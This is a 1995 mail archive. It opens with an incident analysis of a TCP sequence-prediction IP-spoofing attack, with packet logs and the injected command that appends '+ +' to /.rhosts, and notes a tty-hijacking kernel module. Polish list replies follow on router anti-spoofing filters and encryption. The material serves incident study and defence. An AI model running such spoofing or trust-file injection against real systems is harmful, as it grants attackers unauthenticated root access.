We now see 20 connection attempts from apollo.it.luc.edu to x-terminal.shell.
The purpose of these attempts is to determine the behavior of x-terminal's
TCP sequence number generator.  Note that the initial sequence numbers
increment by one for each connection, indicating that the SYN packets are
*not* being generated by the system's TCP implementation.  This results in
RSTs conveniently being generated in response to each unexpected SYN-ACK,
so the connection queue on x-terminal does not fill up:

14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell: S 1382726990:1382726990(0) win 4096
14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack 1382726991 win 4096
14:18:26.172394 apollo.it.luc.edu.1000 > x-terminal.shell: R 1382726991:1382726991(0) win 0
14:18:26.507560 apollo.it.luc.edu.999 > x-terminal.shell: S 1382726991:1382726991(0) win 4096
14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S 2021952000:2021952000(0) ack 1382726992 win 4096
14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0
14:18:26.775395 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0
14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S 1382726992:1382726992(0) win 4096
14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S 2022080000:2022080000(0) ack 1382726993 win 4096
14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R 1382726993:1382726993(0) win 0
14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S 1382726993:1382726993(0) win 4096
14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S 2022208000:2022208000(0) ack 1382726994 win 4096
14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R 1382726994:1382726994(0) win 0
14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S 1382726994:1382726994(0) win 4096
14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S 2022336000:2022336000(0) ack 1382726995 win 4096
14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R 1382726995:1382726995(0) win 0
14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S 1382726995:1382726995(0) win 4096
14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S 2022464000:2022464000(0) ack 1382726996 win 4096
14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R 1382726996:1382726996(0) win 0
14:18:29.074990 apollo.it.luc.edu.994 > x-terminal.shell: S 1382726996:1382726996(0) win 4096
14:18:29.274572 x-terminal.shell > apollo.it.luc.edu.994: S 2022592000:2022592000(0) ack 1382726997 win 4096
14:18:29.354139 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0
14:18:29.354616 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0
14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S 1382726997:1382726997(0) win 4096
14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S 2022720000:2022720000(0) ack 1382726998 win 4096
14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R 1382726998:1382726998(0) win 0
14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S 1382726998:1382726998(0) win 4096
14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack 1382726999 win 4096
14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R 1382726999:1382726999(0) win 0
14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S 1382726999:1382726999(0) win 4096
14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S 2022976000:2022976000(0) ack 1382727000 win 4096
14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R 1382727000:1382727000(0) win 0
14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S 1382727000:1382727000(0) win 4096
14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack 1382727001 win 4096
14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R 1382727001:1382727001(0) win 0
14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S 1382727001:1382727001(0) win 4096
14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack 1382727002 win 4096
14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R 1382727002:1382727002(0) win 0
14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S 1382727002:1382727002(0) win 4096
14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack 1382727003 win 4096
14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R 1382727003:1382727003(0) win 0
14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S 1382727003:1382727003(0) win 4096
14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S 2023488000:2023488000(0) ack 1382727004 win 4096
14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R 1382727004:1382727004(0) win 0
14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S 1382727004:1382727004(0) win 4096
14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack 1382727005 win 4096
14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R 1382727005:1382727005(0) win 0
14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S 1382727005:1382727005(0) win 4096
14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S 2023744000:2023744000(0) ack 1382727006 win 4096
14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R 1382727006:1382727006(0) win 0
14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S 1382727006:1382727006(0) win 4096
14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack 1382727007 win 4096
14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R 1382727007:1382727007(0) win 0
14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S 1382727007:1382727007(0) win 4096
14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack 1382727008 win 4096
14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R 1382727008:1382727008(0) win 0
14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S 1382727008:1382727008(0) win 4096
14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 4096
14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R 1382727009:1382727009(0) win 0
14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S 1382727009:1382727009(0) win 4096
14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 4096
14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R 1382727010:1382727010(0) win 0

Note that each SYN-ACK packet sent by x-terminal has an initial sequence number
which is 128,000 greater than the previous one.

-----

We now see a forged SYN (connection request), allegedly from server.login
to x-terminal.shell.  The assumption is that x-terminal probably trusts
server, so x-terminal will do whatever server (or anything masquerading
as server) asks.

x-terminal then replies to server with a SYN-ACK, which must be ACK'd in
order for the connection to be opened.  As server is ignoring packets sent
to server.login, the ACK must be forged as well. 

Normally, the sequence number from the SYN-ACK is required in order to
generate a valid ACK.  However, the attacker is able to predict the
sequence number contained in the SYN-ACK based on the known behavior of
x-terminal's TCP sequence number generator, and is thus able to ACK the
SYN-ACK without seeing it:

14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096
14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096

-----

The spoofing machine now has a one-way connection to x-terminal.shell which 
appears to be from server.login.  It can maintain the connection and send
data provided that it can properly ACK any data sent by x-terminal.  It
sends the following:

14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096
14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096
14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096

which corresponds to:
14:18:37 server# rsh x-terminal "echo + + >>/.rhosts"

Total elapsed time since the first spoofed packet: < 16 seconds

-----

The spoofed connection is now shut down:

14:18:41.347003 server.login > x-terminal.shell: . ack 2 win 4096
14:18:42.255978 server.login > x-terminal.shell: . ack 3 win 4096
14:18:43.165874 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096
14:18:52.179922 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096
14:18:52.236452 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096

-----

We now see RSTs to reset the "half-open" connections and empty the connection
queue for server.login:

14:18:52.298431 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096
14:18:52.363877 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096
14:18:52.416916 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096
14:18:52.476873 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096
14:18:52.536573 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096
14:18:52.600899 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096
14:18:52.660231 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096
14:18:52.717495 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096
14:18:52.776502 130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096
14:18:52.836536 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096
14:18:52.937317 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096
14:18:52.996777 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096
14:18:53.056758 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096
14:18:53.116850 130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096
14:18:53.177515 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096
14:18:53.238496 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096
14:18:53.297163 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096
14:18:53.365988 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096
14:18:53.437287 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096
14:18:53.496789 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096
14:18:53.556753 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096
14:18:53.616954 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096
14:18:53.676828 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096
14:18:53.736734 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096
14:18:53.796732 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096
14:18:53.867543 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096
14:18:53.917466 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096
14:18:53.976769 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096
14:18:54.039039 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096
14:18:54.097093 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096

server.login can again accept connections.

-----

After root access had been gained via IP address spoofing, a kernel module
named "tap-2.01" was compiled and installed on x-terminal:

x-terminal% modstat
Id  Type  Loadaddr      Size   B-major  C-major  Sysnum   Mod Name
 1  Pdrv  ff050000      1000              59.             tap/tap-2.01 alpha

x-terminal% ls -l /dev/tap
crwxrwxrwx  1 root      37,  59 Dec 25 14:40 /dev/tap

This appears to be a kernel STREAMS module which can be pushed onto an
existing STREAMS stack and used to take control of a tty device.  It was
used to take control of an already authenticated login session to target
at about 14:51 PST.

-----

Of course, no attack would be complete without the personal touch.  Check
out:
	ftp://ftp.sdsc.edu/pub/security/sounds/tweedle-dee.au
	ftp://ftp.sdsc.edu/pub/security/sounds/tweedle-dum.au

These are in Sun audio file format, 8-bit u-law, 8 khz sample rate.

---
Tsutomu Shimomura       tsutomu@ucsd.edu        +1 619 534 5050 
University of California at San Diego/San Diego Supercomputer Center, USA

From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 13:20:00 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03809; Fri, 27 Jan 95 13:18:18 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA14143 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 13:17:21 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 27 Jan 1995 12:57:33 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3gan3d$n7b@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501262210.WAA10426@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:

: > > - wiara w blokowanie na poziomie routera (konkretnie pisza o CISCO),
: > Tylko najnowszy.

: No ladnie... a kto ma najnowsze? ;)
Wydaje mi sie ,ze przez najnowsze nalezy po prostu rozumiec 10.0 lub wyzej.
Ja mam 10.0 na glownych routerach, reszta jest 9 lub 8 - ale to 
powinno wystarczyc. Kazdy kto kupil Cisco w ciagu ostatnich 3 miesiecy ma
prawdopodobnie 10.0 lub 10.2. Zreszta wcale nie jestem pewien, czy w 9.21
tez sie nie da uzyskac tego samego (niestety nie mam manuala pod reka).

--
                       Szymon Sokol -- Network Manager
U    U M     M M     M University of Mining and Metallurgy, Computer Center
U    U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U    U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUU  M  M  M M  M  M WWW page: http://www.uci.agh.edu.pl/~szymon/
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 13:20:09 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03812; Fri, 27 Jan 95 13:18:20 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA14148 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 13:20:29 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 27 Jan 1995 13:06:00 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3ganj8$og9@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501261406.PAA03661@mg.cyf-kr.edu.pl>
Subject: Re: Wiecej o IP spoofing z dzisiejszej grupy comp.security.misc

Jerzy Pawlus (Jerzy.Pawlus@cyf-kr.edu.pl) wrote:

: Wczesnie skomentuje fragment listu Szymona

: > Innymi slowy: nie pomoze 'no ip source route' na routerze, i nie pomoze
: > ZADEN TCP wrapper. Nie ma bowiem sposobu, zeby TCP wrapper na docelowej
: > maszynie odroznil pakiet falszywy od prawdziwego. To musi robic router.
: > Przyznaje sie bez bicia, ze jeszcze nie wiem, jak zmusic Cisco, zeby to robilo.
: > Ale sie dowiem.

:   Poczawszy od wersji 9.21 Cisco umozliwia utworzenie filtru na adres
:   zrodlowy dla pakietu WCHODZACEGO do interfejsu. Nie rozwiazuje
:   sprawy filtr dla pakietow wychodzacych z interfejsu. 

Dla pelnej scislosci: w takich jak my (Cyfronet, AGH) duzych jednostkach.
Jezeli ktos ma router 2-portowy typu np. Cisco 2501 albo IGS/R, tzn. 
cala lokalna siec wisi na jednym interfejsie Ethernetowym, to rownie dobrze 
mozna ustawic access-list dla pakietow WYCHODZACYCH z tego wlasnie interfejsu 
- access-list dla pakietow wchodzacych z zewnatrz na interfejsie zewnetrznym 
jest niezbedny, jesli router ma kilka interfejsow lokalnych i routuje takze 
miedzy nimi.
"Rzekla rybka: dobrze to czasem byc i mala" (I.Krasicki) :-)
--
                       Szymon Sokol -- Network Manager
U    U M     M M     M University of Mining and Metallurgy, Computer Center
U    U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U    U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUU  M  M  M M  M  M WWW page: http://www.uci.agh.edu.pl/~szymon/
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 13:20:16 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03815; Fri, 27 Jan 95 13:18:22 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA14142 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 13:17:20 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 27 Jan 1995 12:53:55 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3gamsj$mj1@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501262155.VAA10253@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:
: > Nie jest dla mnie jasne, co ma IP spoofing do modulow ladowalnych. Wydaje mi
: > sie ze na te forme ataku wszelkie systemy powinny byc jednakowo [nie]wrazliwe.
[to powyzej to ja]
: Wg. spanikowanych adminow SUN'ow ma to wygkladac tak:
: Ktos instaluje jako root .rhosts, lub dopisuje sie na koncu pliku z
: haslami, a nastepnie wlazi na maszyne i dolacza jakis paskudny modul do
: kernela. Jasne, ze nie chodzilo o dolaczenie modulow poprzez spoofing
: jako taki.... :)
Ale nie bardzo widze roznice jakosciowa pomiedzy pluskwa dodana do kernela
a inna (np. wsadzona do /lib/libc.a, albo do binariow telneta, albo 
gdziekolwiek).

: > Nie jestem takze pewien, czy dobrze rozumiem cala idee. Jezeli chodzi
: > o 'source routing' to wylaczenie go na routerze powinno byc trywialne
: > (na Cisco komenda 'no ip source route'). Jezeli zas o cos wiecej, to o co?

: Wlasnie toczy sie bardzo ciekawa dyskusja o CISCO na firewalls. Juz
: pojawily sie glosy, ze to odciecie nie jest takie proste, bo odcinajace
: polecenia nie umozliwiaja rozroznienia kierunku, z ktorego nadchodza
: pakiety (nie mozesz wyspecyfikowac "IN" ani tez "OUT". Tym czasem lece
: dalej obserwowac dyskusje na ten temat .... :)
Wydaje mi sie, ze te "glosy" mijaja sie z prawda - patrz dokumentacja
wersji 10 Cisco, str. 16-21 w "Routers Product Configuration Guide"
("Apply an Access List to an Interface or Terminal Line").
W skrocie, przy zalozeniu ze interfejs "zewnetrzny" to Serial 0, siec
lokalna to 192.192.192.0:
access-list 101 deny tcp 192.192.192.0 0.0.0.255 192.192.192.0 0.0.0.255
access-list 101 permit tcp 0.0.0.0 255.255.255.255 192.192.192.0 
  0.0.0.255
interface serial 0
ip access-group 101 in
Logika jest taka: odrzuc wszystko co przychodzi ze zewnatrz, jezeli adres
zarowno source jak destination lezy w obrebie naszej sieci; przepuszczaj
cala reszte.
Nie mialem na razie mozliwosci sprawdzenia, czy to rzeczywiscie dziala,
bo tez nie mam gotowego narzedzia do falszowania pakietow, ani czasu, zeby 
je napisac. Ale jestem optymista :-) 
--
                       Szymon Sokol -- Network Manager
U    U M     M M     M University of Mining and Metallurgy, Computer Center
U    U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U    U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUU  M  M  M M  M  M WWW page: http://www.uci.agh.edu.pl/~szymon/
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 14:20:01 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06315; Fri, 27 Jan 95 14:18:18 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA15097 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 14:19:09 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 27 Jan 1995 13:17:33 GMT
From: myszka@immt.pwr.wroc.pl (Wojciech Myszka)
Message-Id: <3garpd$99k@sun1000.ci.pwr.wroc.pl>
Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501262155.VAA10253@hebe.umcs.lublin.pl>, <3gamsj$mj1@galaxy.uci.agh.edu.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Szymon Sokol (szymon@uci.agh.edu.pl) wrote:
> Nie mialem na razie mozliwosci sprawdzenia, czy to rzeczywiscie dziala,
> bo tez nie mam gotowego narzedzia do falszowania pakietow, ani czasu, zeby 
> je napisac. Ale jestem optymista :-) 
  ---
  A traceroute z opcja -g? (jest na ftp.immt.pwr.wroc.pl:/pub/nettools)
  Wojtek
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 14:20:12 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06318; Fri, 27 Jan 95 14:18:20 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA15103 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 14:21:07 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 27 Jan 1995 13:12:48 GMT
From: andy@eleet.mimuw.edu.pl (zki SP5ALQ)
Message-Id: <3gargg$e0j@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501262155.VAA10253@hebe.umcs.lublin.pl>, <3gamsj$mj1@galaxy.uci.agh.edu.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Szymon Sokol (szymon@uci.agh.edu.pl) wrote:
: Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:
: : > Nie jest dla mnie jasne, co ma IP spoofing do modulow ladowalnych. Wydaje mi
: : > sie ze na te forme ataku wszelkie systemy powinny byc jednakowo [nie]wrazliwe.
: [to powyzej to ja]
: : Wg. spanikowanych adminow SUN'ow ma to wygkladac tak:
: : Ktos instaluje jako root .rhosts, lub dopisuje sie na koncu pliku z
: : haslami, a nastepnie wlazi na maszyne i dolacza jakis paskudny modul do
: : kernela. Jasne, ze nie chodzilo o dolaczenie modulow poprzez spoofing
: : jako taki.... :)
: Ale nie bardzo widze roznice jakosciowa pomiedzy pluskwa dodana do kernela
: a inna (np. wsadzona do /lib/libc.a, albo do binariow telneta, albo 
: gdziekolwiek).

Grozniej brzmi. Kernel! 

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 14:20:22 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06321; Fri, 27 Jan 95 14:18:23 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA15102 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 14:21:07 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 27 Jan 1995 13:07:50 GMT
From: andy@eleet.mimuw.edu.pl (zki SP5ALQ)
Message-Id: <3gar76$e0j@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501261904.TAA09070@hebe.umcs.lublin.pl>
Subject: Bezpieczenstwo - szyfrowanie.

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:

: Wydaje mi sie, ze kodowanie danych jest oczywiscie najlepsza metoda
: (prawda Eminie? :)), tym bardzie, ze juz to testujemy jakis czas -
: niestety jak dotad w dosc ograniczonej i prymitywnej implementacji
: (jeszcze nie dziala poza swiatem KA9Q). Kilka dni temu Szymon Sokol
: mowil mi, ze u nich tez pracuja nad czyms takim.... 

Samo zrobinie kodowania na poziomie IP jest trywialne. Gorzej z dobraniem
odpowiedniej metody szyfrowania, ktora nie wymagajac zbyt wiele wysilku (w
koncu ma to sie dziac na latajacych pakietach) dawala zadowalajace
bezpieczenstwo.

Inny problem to wymiana kluczy do szyfrowania przez kable podsluchiwane. Ale
tu takze jest gotowa metoda (RSA), a w koncu kluczy nie zmienia sie
codziennie, wiec mozna w to wlozyc nieco wysilku.

: Poki co jednak wole
: miec TCP Wrappers + Ident - bo to akurat jest dostepne "na rynku". :)

Oraz KA9Q+ na logowania sie przez hm... niepewne linie.

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 15:40:04 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09008; Fri, 27 Jan 95 15:38:17 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA16223 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 15:40:49 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 27 Jan 1995 14:22:31 GMT
From: rzm@dain.oso.chalmers.se (Rafal Maszkowski)
Message-Id: <3gavj7$50a@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501262155.VAA10253@hebe.umcs.lublin.pl>, <3gamsj$mj1@galaxy.uci.agh.edu.pl>, <3garpd$99k@sun1000.ci.pwr.wroc.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Wojciech Myszka (myszka@immt.pwr.wroc.pl) wrote:
> Szymon Sokol (szymon@uci.agh.edu.pl) wrote:
> > Nie mialem na razie mozliwosci sprawdzenia, czy to rzeczywiscie dziala,
> > bo tez nie mam gotowego narzedzia do falszowania pakietow, ani czasu, zeby 
> > je napisac. Ale jestem optymista :-) 
>   A traceroute z opcja -g? (jest na ftp.immt.pwr.wroc.pl:/pub/nettools)

Nie. traceroute uzywa innej dziurki - source routing. Najprosciej wyslac
pojedynczy SYN i zobaczyc czy tcpdump go zlapie.

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From krzysio@hebe.umcs.lublin.pl Fri Jan 27 18:40:06 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA11820; Fri, 27 Jan 95 18:37:04 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id RAA13787 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 17:43:52 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501271743.RAA13787@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci
To: polip@zsku.p.lodz.pl
Date: Fri, 27 Jan 1995 18:43:51 +0100 (MET)
In-Reply-To: <3garpd$99k@sun1000.ci.pwr.wroc.pl> from "Wojciech Myszka" at Jan 27, 95 02:23:38 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 1284      

Wojciech Myszka wrote:
> 
> Szymon Sokol (szymon@uci.agh.edu.pl) wrote:
> > Nie mialem na razie mozliwosci sprawdzenia, czy to rzeczywiscie dziala,
> > bo tez nie mam gotowego narzedzia do falszowania pakietow, ani czasu, zeby 
> > je napisac. Ale jestem optymista :-) 
>   ---
>   A traceroute z opcja -g? (jest na ftp.immt.pwr.wroc.pl:/pub/nettools)


Czyzby chodzilo Ci o takie cosik?:

     -g   Enable the IP LSRR (Loose Source Record Route) option in addition
          the TTL tests.  This is useful for asking how somebody else, at
          addr, (either an IP address or a hostname) reaches a particular
          target.

					Pozdrawiam,
					   -Krzysio

--
  +---------------------------------------------------------------+
